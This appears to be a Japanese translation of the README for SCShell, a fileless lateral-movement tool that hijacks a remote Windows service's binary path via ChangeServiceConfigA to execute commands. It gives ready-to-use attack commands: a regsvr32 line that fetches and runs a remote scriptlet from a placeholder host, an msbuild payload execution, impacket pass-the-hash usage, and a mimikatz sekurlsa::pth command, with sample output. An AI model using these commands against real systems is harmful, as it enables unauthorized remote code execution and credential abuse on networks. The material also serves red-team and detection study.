
ChangeServiceConfigAに依存してコマンドを実行するファイルレスな横展開ツール
SCShellは、ChangeServiceConfigAに依存してコマンドを実行するファイルレスな水平移動ツールです。このツールの優れた点は、SMBに対して認証を行わないことです。すべての処理はDCERPCを介して行われます。
このユーティリティは、サービスを登録したり作成したりせずにリモートで使用できます。また、リモートシステムにファイルをドロップする必要もありません*(使用する手法に依存します)。
サービスを作成する代わりに、ChangeServiceConfigA APIを介して単純にリモートでサービスを開き、バイナリパス名を変更します。
その後、サービスを開始します。
実行が完了すると、サービスのバイナリパスは元のものに戻されます。元のサービスパスはQueryServiceConfigAを使用して取得されます。
認証を含むすべての処理はDCERPCを介して行われます。

現在のビルドはCで記述されていますが、C#とPowerShellに移植する予定です。
Usage:
SCShell.exe target service payload domain username password
target を local に設定すると、ペイロードをローカルで実行できます。
リモート実行
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password
ペイロードがサービス停止時に強制終了されないように、C:\windows\system32\cmd.exe /c を使用することをお勧めします。フルパスを使用する必要があります。
msbuildペイロードも使用できます。
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj" . administrator Password
SCShell ***
Trying to connect to 192.168.197.131
Username was provided attempting to call LogonUserA
SC_HANDLE Manager 0x009ED250
Opening XblAuthManager
SC_HANDLE Service 0x009ED1B0
Service path was changed to C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj
Service was started.
ターゲットとしてXblAuthManager(Xbox アクセサリ管理サービス)を使用しています。
scshell.pyは、SCShellのpython2および3実装です。impacketプロジェクトを使用すると、パス・ザ・ハッシュを利用して同じ水平移動を簡単に実行できます。
インストール
pip install impacket
使用方法
python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Command need to use FULL path. No command output.
SCShell>
Cユーティリティを使用してハッシュを渡すこともできます。デフォルトでは、現在のプロセストークンが使用されます。標準的なパス・ザ・ハッシュの手法を使用して、現在のプロセストークンを設定できます。
ローカルシステム上で
sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe
その後、新しく作成されたcmd.exe内でSCShell.exeを実行します。
コードはWindows上でGCC Mingwコンパイラを使用してコンパイルされました。
Mr.Un1k0d3r RingZer0 Team
精神的サポートをくれたTazz0